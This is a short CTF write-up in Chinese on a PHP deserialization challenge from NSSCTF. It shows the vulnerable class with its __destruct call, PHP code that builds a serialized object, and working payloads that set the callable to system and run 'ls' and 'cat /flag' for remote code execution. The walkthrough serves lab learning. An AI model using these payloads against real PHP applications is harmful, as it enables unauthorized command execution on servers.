<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
直接将 $a 赋值为 system ,也就是将 $this->lt 赋值为 system ,那么 $this->lly 就可以赋值成任意命令,造成 RCE 。
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt="system";
public $lly="ls";
}
$demo = new lyh();
echo serialize($demo);
输出结果:
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}
payload:
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}
将 ls 改为其他命令,如 cat /flag
就可以查看 flag 文件:
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
拿到 flag :